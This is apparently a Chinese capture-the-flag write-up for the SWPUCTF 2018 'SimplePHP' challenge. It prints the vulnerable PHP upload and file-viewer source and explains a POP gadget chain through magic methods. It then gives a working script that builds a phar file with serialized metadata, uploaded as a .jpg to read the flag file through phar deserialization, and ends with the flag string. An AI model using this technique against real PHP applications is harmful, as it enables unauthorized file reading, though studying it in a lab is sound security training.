SWPUCTF 2018]SimplePHP
打开发现可以读取源码
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<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file;
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>
<?php
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>
|
这个注意file.php那里存在一个file_exists函数，可以用它来实现phar伪协议读，然后我们找一下读取flag的地方，在Show类里，可以看到_show函数会过滤flag，但是__wakeup不会，这里已经暗示的挺明显，所以我们要把show的$source设置为f1ag.php，然后再找办法输出出来
Test类里面有个file_get_contents，可以用它进行读写文件，这里是要利用Test类的__get方法，但是要提前定义
$params[$key]=f1ag,php,至于$key是什么，联想上文猜到show的$source是test类，
这里想到这个$str[‘str’]是一个Test类，同时Test类没有source属性，刚好可以触发__get方法，所以我们的入口应该是C1ear的__destruct 然后跳到show的toString 然后再跳到test的__get
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| <?php
class C1e4r
{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
$c=new C1e4r();
$s=new Show();
$t=new Test();
$t->params['source']="/var/www/html/f1ag.php";
$s->str['str']=$t;
$c->str=$s;
$phar=new phar("flag.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");
$phar->setMetadata($c);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>
|
然后把后缀名改成jpg上传，访问/upload得到flag
flag{20fb087a-8091-4330-9eb6-15f325f21163}
